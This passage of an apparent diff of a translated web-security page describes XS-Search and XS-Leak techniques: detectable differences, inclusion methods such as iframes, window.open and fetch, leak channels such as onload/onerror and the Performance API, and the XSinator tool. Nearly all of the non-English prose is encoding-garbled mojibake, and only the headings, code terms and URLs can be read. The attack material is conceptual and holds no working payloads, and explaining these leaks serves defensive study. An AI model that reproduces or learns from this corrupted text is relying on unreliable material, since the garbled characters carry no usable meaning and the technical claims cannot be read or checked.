(рдЬреИрд╕реЗ, window.open, iframe, fetch, href рдХреЗ рд╕рд╛рде HTML рдЯреИрдЧ, рдЖрджрд┐)ред +- **рд▓реАрдХ рддрдХрдиреАрдХ**: рддрдХрдиреАрдХреЗрдВ рдЬреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рд╡рд┐рдзрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХрддреНрд░ рдХреА рдЧрдИ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдХрдордЬреЛрд░ рд╡реЗрдм рдХреА рд╕реНрдерд┐рддрд┐ рдореЗрдВ рднрд┐рдиреНрдирддрд╛рдПрдБ рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИрдВред +- **рд╕реНрдерд┐рддрд┐рдпрд╛рдБ**: рдХрдордЬреЛрд░ рд╡реЗрдм рдХреА рджреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд╕реНрдерд┐рддрд┐рдпрд╛рдБ, рдЬрд┐рдиреНрд╣реЗрдВ рд╣рдорд▓рд╛рд╡рд░ рдкрд╣рдЪрд╛рдирдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИред - **рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдпреЛрдЧреНрдп рднрд┐рдиреНрдирддрд╛рдПрдБ**: рдЕрд╡рд▓реЛрдХрдиреАрдп рднрд┐рдиреНрдирддрд╛рдПрдБ рдЬрд┐рди рдкрд░ рд╣рдорд▓рд╛рд╡рд░ рдХрдордЬреЛрд░ рд╡реЗрдм рдХреА рд╕реНрдерд┐рддрд┐ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИред ### Detectable Differences -рдХрдордЬреЛрд░ рд╡реЗрдм рдХреА рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЛ рдЕрд▓рдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдкрд╣рд▓реБрдУрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +рдХрдордЬреЛрд░ рд╡реЗрдм рдХреА рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЛ рднрд┐рдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдкрд╣рд▓реБрдУрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: -- **рд╕реНрдерд┐рддрд┐ рдХреЛрдб**: **рд╡рд┐рднрд┐рдиреНрди HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕реНрдерд┐рддрд┐ рдХреЛрдб** рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рдХрд░рдирд╛, рдЬреИрд╕реЗ рд╕рд░реНрд╡рд░ рддреНрд░реБрдЯрд┐рдпрд╛рдБ, рдХреНрд▓рд╛рдЗрдВрдЯ рддреНрд░реБрдЯрд┐рдпрд╛рдБ, рдпрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рддреНрд░реБрдЯрд┐рдпрд╛рдБред +- **рд╕реНрдерд┐рддрд┐ рдХреЛрдб**: **рд╡рд┐рднрд┐рдиреНрди HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕реНрдерд┐рддрд┐ рдХреЛрдб** рдХреЗ рдмреАрдЪ рднреЗрдж рдХрд░рдирд╛, рдЬреИрд╕реЗ рд╕рд░реНрд╡рд░ рддреНрд░реБрдЯрд┐рдпрд╛рдБ, рдХреНрд▓рд╛рдЗрдВрдЯ рддреНрд░реБрдЯрд┐рдпрд╛рдБ, рдпрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рддреНрд░реБрдЯрд┐рдпрд╛рдБред - **API рдЙрдкрдпреЛрдЧ**: рдкреГрд╖реНрдареЛрдВ рдХреЗ рдмреАрдЪ **рд╡реЗрдм APIs рдХреЗ рдЙрдкрдпреЛрдЧ** рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдирд╛, рдпрд╣ рдкреНрд░рдХрдЯ рдХрд░рдирд╛ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреГрд╖реНрда рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ JavaScript рд╡реЗрдм API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред - **рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯреНрд╕**: рд╡рд┐рднрд┐рдиреНрди рдкреГрд╖реНрдареЛрдВ рдкрд░ рдиреЗрд╡рд┐рдЧреЗрд╢рди рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛, рди рдХреЗрд╡рд▓ HTTP рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯреНрд╕ рдмрд▓реНрдХрд┐ рд╡реЗ рднреА рдЬреЛ JavaScript рдпрд╛ HTML рджреНрд╡рд╛рд░рд╛ рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддреЗ рд╣реИрдВред - **рдкреГрд╖реНрда рд╕рд╛рдордЧреНрд░реА**: **HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдореЗрдВ рднрд┐рдиреНрдирддрд╛рдУрдВ** рдпрд╛ рдкреГрд╖реНрда рдЙрдк-рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдореЗрдВ рдЕрд╡рд▓реЛрдХрди рдХрд░рдирд╛, рдЬреИрд╕реЗ **рдПрдВрдмреЗрдбреЗрдб рдлреНрд░реЗрдо рдХреА рд╕рдВрдЦреНрдпрд╛** рдпрд╛ рдЫрд╡рд┐рдпреЛрдВ рдореЗрдВ рдЖрдХрд╛рд░ рднрд┐рдиреНрдирддрд╛рдПрдБред @@ -28,19 +28,19 @@ XS-Search рдПрдХ рд╡рд┐рдзрд┐ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдХреНрд░ ### Inclusion Methods -- **HTML рддрддреНрд╡**: HTML рд╡рд┐рднрд┐рдиреНрди рддрддреНрд╡реЛрдВ рдХреА рдкреЗрд╢рдХрд╢ рдХрд░рддрд╛ рд╣реИ **рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрди рд╕рдорд╛рд╡реЗрд╢** рдХреЗ рд▓рд┐рдП, рдЬреИрд╕реЗ рд╕реНрдЯрд╛рдЗрд▓рд╢реАрдЯ, рдЫрд╡рд┐рдпрд╛рдБ, рдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ, рдЬреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдПрдХ рдЧреИрд░-HTML рд╕рдВрд╕рд╛рдзрди рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╛рд╡рд┐рдд HTML рддрддреНрд╡реЛрдВ рдХрд╛ рд╕рдВрдХрд▓рди [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +- **HTML рддрддреНрд╡**: HTML рд╡рд┐рднрд┐рдиреНрди рддрддреНрд╡реЛрдВ рдХреА рдкреЗрд╢рдХрд╢ рдХрд░рддрд╛ рд╣реИ рдЬреЛ **рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрди рд╕рдорд╛рд╡реЗрд╢** рдХреЗ рд▓рд┐рдП рд╣реЛрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рд╕реНрдЯрд╛рдЗрд▓рд╢реАрдЯ, рдЫрд╡рд┐рдпрд╛рдБ, рдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ, рдЬреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдПрдХ рдЧреИрд░-HTML рд╕рдВрд╕рд╛рдзрди рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╛рд╡рд┐рдд HTML рддрддреНрд╡реЛрдВ рдХрд╛ рд╕рдВрдХрд▓рди [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред - **рдлреНрд░реЗрдо**: рддрддреНрд╡ рдЬреИрд╕реЗ **iframe**, **object**, рдФрд░ **embed** HTML рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд╕реАрдзреЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдкреГрд╖реНрда рдореЗрдВ рдПрдореНрдмреЗрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдкреГрд╖реНрда **рдлреНрд░реЗрдорд┐рдВрдЧ рд╕реБрд░рдХреНрд╖рд╛** рдХреА рдХрдореА рд╣реИ, рддреЛ JavaScript рдлреНрд░реЗрдо рдХрд┐рдП рдЧрдП рд╕рдВрд╕рд╛рдзрди рдХреА рд╡рд┐рдВрдбреЛ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ contentWindow рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -- **рдкреЙрдк-рдЕрдк**: **`window.open`** рд╡рд┐рдзрд┐ рдПрдХ рдирдП рдЯреИрдм рдпрд╛ рд╡рд┐рдВрдбреЛ рдореЗрдВ рдПрдХ рд╕рдВрд╕рд╛рдзрди рдЦреЛрд▓рддреА рд╣реИ, JavaScript рдХреЗ рд▓рд┐рдП рд╡рд┐рдзрд┐рдпреЛрдВ рдФрд░ рдЧреБрдгреЛрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ **рд╡рд┐рдВрдбреЛ рд╣реИрдВрдбрд▓** рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИ рдЬреЛ SOP рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреА рд╣реИред рдкреЙрдк-рдЕрдк, рдЬреЛ рдЕрдХреНрд╕рд░ рд╕рд┐рдВрдЧрд▓ рд╕рд╛рдЗрди-рдСрди рдореЗрдВ рдЙрдкрдпреЛрдЧ рд╣реЛрддреЗ рд╣реИрдВ, рд▓рдХреНрд╖рд┐рдд рд╕рдВрд╕рд╛рдзрди рдХреА рдлреНрд░реЗрдорд┐рдВрдЧ рдФрд░ рдХреБрдХреА рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдзреБрдирд┐рдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдкреЙрдк-рдЕрдк рдирд┐рд░реНрдорд╛рдг рдХреЛ рдХреБрдЫ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░рд┐рдпрд╛рдУрдВ рддрдХ рд╕реАрдорд┐рдд рдХрд░рддреЗ рд╣реИрдВред +- **рдкреЙрдк-рдЕрдк**: **`window.open`** рд╡рд┐рдзрд┐ рдПрдХ рд╕рдВрд╕рд╛рдзрди рдХреЛ рдирдП рдЯреИрдм рдпрд╛ рд╡рд┐рдВрдбреЛ рдореЗрдВ рдЦреЛрд▓рддреА рд╣реИ, JavaScript рдХреЗ рд▓рд┐рдП рд╡рд┐рдзрд┐рдпреЛрдВ рдФрд░ рдЧреБрдгреЛрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ **рд╡рд┐рдВрдбреЛ рд╣реИрдВрдбрд▓** рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИ рдЬреЛ SOP рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреА рд╣реИред рдкреЙрдк-рдЕрдк, рдЬреЛ рдЕрдХреНрд╕рд░ рд╕рд┐рдВрдЧрд▓ рд╕рд╛рдЗрди-рдСрди рдореЗрдВ рдЙрдкрдпреЛрдЧ рд╣реЛрддреЗ рд╣реИрдВ, рд▓рдХреНрд╖рд┐рдд рд╕рдВрд╕рд╛рдзрди рдХреА рдлреНрд░реЗрдорд┐рдВрдЧ рдФрд░ рдХреБрдХреА рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдзреБрдирд┐рдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдкреЙрдк-рдЕрдк рдирд┐рд░реНрдорд╛рдг рдХреЛ рдХреБрдЫ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░рд┐рдпрд╛рдУрдВ рддрдХ рд╕реАрдорд┐рдд рдХрд░рддреЗ рд╣реИрдВред - **JavaScript рдЕрдиреБрд░реЛрдз**: JavaScript рд▓рдХреНрд╖рд┐рдд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реАрдзреЗ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ **XMLHttpRequests** рдпрд╛ **Fetch API** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред рдпреЗ рд╡рд┐рдзрд┐рдпрд╛рдБ рдЕрдиреБрд░реЛрдз рдкрд░ рд╕рдЯреАрдХ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИрдВ, рдЬреИрд╕реЗ HTTP рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯреНрд╕ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдиреЗ рдХрд╛ рд╡рд┐рдХрд▓реНрдкред ### Leak Techniques - **рдЗрд╡реЗрдВрдЯ рд╣реИрдВрдбрд▓рд░**: XS-Leaks рдореЗрдВ рдПрдХ рдкрд╛рд░рдВрдкрд░рд┐рдХ рд▓реАрдХ рддрдХрдиреАрдХ, рдЬрд╣рд╛рдБ рдЗрд╡реЗрдВрдЯ рд╣реИрдВрдбрд▓рд░ рдЬреИрд╕реЗ **onload** рдФрд░ **onerror** рд╕рдВрд╕рд╛рдзрди рд▓реЛрдбрд┐рдВрдЧ рдХреА рд╕рдлрд▓рддрд╛ рдпрд╛ рд╡рд┐рдлрд▓рддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред -- **рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢**: JavaScript рдЕрдкрд╡рд╛рдж рдпрд╛ рд╡рд┐рд╢реЗрд╖ рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда рд▓реАрдХ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рддреЛ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рд╕реЗ рд╕реАрдзреЗ рдпрд╛ рдЗрд╕рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдФрд░ рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдХреЗ рдмреАрдЪ рднрд┐рдиреНрдирддрд╛ рдХрд░рдХреЗред -- **рд╡реИрд╢реНрд╡рд┐рдХ рд╕реАрдорд╛рдПрдБ**: рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреА рднреМрддрд┐рдХ рд╕реАрдорд╛рдПрдБ, рдЬреИрд╕реЗ рдореЗрдореЛрд░реА рдХреНрд╖рдорддрд╛ рдпрд╛ рдЕрдиреНрдп рд▓рд╛рдЧреВ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реАрдорд╛рдПрдБ, рдЬрдм рдПрдХ рд╕реАрдорд╛ рддрдХ рдкрд╣реБрдБрдЪ рдЬрд╛рддреА рд╣реИрдВ рддреЛ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреА рд╣реИрдВ, рдЬреЛ рдПрдХ рд▓реАрдХ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИрдВред -- **рд╡реИрд╢реНрд╡рд┐рдХ рд╕реНрдерд┐рддрд┐**: рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреА **рд╡реИрд╢реНрд╡рд┐рдХ рд╕реНрдерд┐рддрд┐рдпреЛрдВ** (рдЬреИрд╕реЗ, рдЗрддрд┐рд╣рд╛рд╕ рдЗрдВрдЯрд░рдлреЗрд╕) рдХреЗ рд╕рд╛рде рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдпреЛрдЧреНрдп рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдЗрддрд┐рд╣рд╛рд╕ рдореЗрдВ **рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛** рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреГрд╖реНрдареЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реБрд░рд╛рдЧ рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреА рд╣реИред +- **рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢**: JavaScript рдЕрдкрд╡рд╛рдж рдпрд╛ рд╡рд┐рд╢реЗрд╖ рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда рд▓реАрдХ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рддреЛ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рд╕реЗ рд╕реАрдзреЗ рдпрд╛ рдЗрд╕рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдФрд░ рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдХреЗ рдмреАрдЪ рднреЗрдж рдХрд░рдХреЗред +- **рд╡реИрд╢реНрд╡рд┐рдХ рд╕реАрдорд╛рдПрдБ**: рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреА рднреМрддрд┐рдХ рд╕реАрдорд╛рдПрдБ, рдЬреИрд╕реЗ рдореЗрдореЛрд░реА рдХреНрд╖рдорддрд╛ рдпрд╛ рдЕрдиреНрдп рд▓рд╛рдЧреВ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реАрдорд╛рдПрдБ, рдЬрдм рдПрдХ рд╕реАрдорд╛ рдкрд╛рд░ рд╣реЛ рдЬрд╛рддреА рд╣реИ рддреЛ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреА рд╣реИрдВ, рдЬреЛ рдПрдХ рд▓реАрдХ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИрдВред +- **рд╡реИрд╢реНрд╡рд┐рдХ рд╕реНрдерд┐рддрд┐**: рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреА **рд╡реИрд╢реНрд╡рд┐рдХ рд╕реНрдерд┐рддрд┐рдпреЛрдВ** (рдЬреИрд╕реЗ, рдЗрддрд┐рд╣рд╛рд╕ рдЗрдВрдЯрд░рдлреЗрд╕) рдХреЗ рд╕рд╛рде рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдпреЛрдЧреНрдп рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдЗрддрд┐рд╣рд╛рд╕ рдореЗрдВ **рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛** рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреГрд╖реНрдареЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реБрд░рд╛рдЧ рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреА рд╣реИред - **рдкрд░рдлреЙрд░реНрдореЗрдВрд╕ API**: рдпрд╣ API **рд╡рд░реНрддрдорд╛рди рдкреГрд╖реНрда рдХреЗ рдкреНрд░рджрд░реНрд╢рди рд╡рд┐рд╡рд░рдг** рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдФрд░ рд▓реЛрдб рдХрд┐рдП рдЧрдП рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдиреЗрдЯрд╡рд░реНрдХ рд╕рдордп рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдЕрдиреБрд░реЛрдзрд┐рдд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред -- **рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ**: рдХреБрдЫ HTML рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ **рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп** рд╣реЛрддреА рд╣реИрдВ рдФрд░ рдЗрдиреНрд╣реЗрдВ рд▓реАрдХ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, `window.frame.length` рдкреНрд░реЙрдкрд░реНрдЯреА JavaScript рдХреЛ рдПрдХ рд╡реЗрдмрдкреГрд╖реНрда рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдлреНрд░реЗрдо рдХреА рд╕рдВрдЦреНрдпрд╛ рдЧрд┐рдирдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред +- **рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ**: рдХреБрдЫ HTML рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ **рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп** рд╣реЛрддреА рд╣реИрдВ рдФрд░ рдЗрдиреНрд╣реЗрдВ рд▓реАрдХ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, `window.frame.length` рдкреНрд░реЙрдкрд░реНрдЯреА JavaScript рдХреЛ рдПрдХ рд╡реЗрдмрдкреГрд╖реНрда рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдлреНрд░реЗрдореЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдЧрд┐рдирдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред ## XSinator Tool & Paper @@ -49,11 +49,11 @@ XSinator рдПрдХ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ **рдХрдИ рдЖрдк **рдЙрдкрдХрд░рдг рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ** [**https://xsinator.com/**](https://xsinator.com/) > [!WARNING] -> **рдмрд╣рд┐рд╖реНрдХреГрдд XS-Leaks**: рд╣рдореЗрдВ рдЙрди XS-Leaks рдХреЛ рдмрд╣рд┐рд╖реНрдХреГрдд рдХрд░рдирд╛ рдкрдбрд╝рд╛ рдЬреЛ **рд╕реЗрд╡рд╛ рд╢реНрд░рдорд┐рдХреЛрдВ** рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ XSinator рдореЗрдВ рдЕрдиреНрдп рд▓реАрдХ рдХреЗ рд╕рд╛рде рд╣рд╕реНрддрдХреНрд╖реЗрдк рдХрд░реЗрдВрдЧреЗред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╣рдордиреЗ **рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдФрд░ рдмрдЧреНрд╕ рдкрд░ рдирд┐рд░реНрднрд░ XS-Leaks рдХреЛ рдмрд╣рд┐рд╖реНрдХреГрдд рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛**ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, CrossOrigin Resource Sharing (CORS) рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди, postMessage рд▓реАрдХ рдпрд╛ Cross-Site Scriptingред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рд╣рдордиреЗ рд╕рдордп рдЖрдзрд╛рд░рд┐рдд XS-Leaks рдХреЛ рднреА рдмрд╣рд┐рд╖реНрдХреГрдд рдХрд┐рдпрд╛ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдЕрдХреНрд╕рд░ рдзреАрдореЗ, рд╢реЛрд░ рд╡рд╛рд▓реЗ рдФрд░ рдЕрд╕рдВрдЧрдд рд╣реЛрддреЗ рд╣реИрдВред +> **рдмрд╣рд┐рд╖реНрдХреГрдд XS-Leaks**: рд╣рдореЗрдВ рдЙрди XS-Leaks рдХреЛ рдмрд╣рд┐рд╖реНрдХреГрдд рдХрд░рдирд╛ рдкрдбрд╝рд╛ рдЬреЛ **рд╕реЗрд╡рд╛ рд╢реНрд░рдорд┐рдХреЛрдВ** рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ XSinator рдореЗрдВ рдЕрдиреНрдп рд▓реАрдХ рдХреЗ рд╕рд╛рде рд╣рд╕реНрддрдХреНрд╖реЗрдк рдХрд░реЗрдВрдЧреЗред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╣рдордиреЗ рдЙрди XS-Leaks рдХреЛ **рдмрд╣рд┐рд╖реНрдХреГрдд рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛ рдЬреЛ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдФрд░ рдмрдЧ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВ**ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, CrossOrigin Resource Sharing (CORS) рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди, postMessage рд▓реАрдХ рдпрд╛ Cross-Site Scriptingред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рд╣рдордиреЗ рд╕рдордп 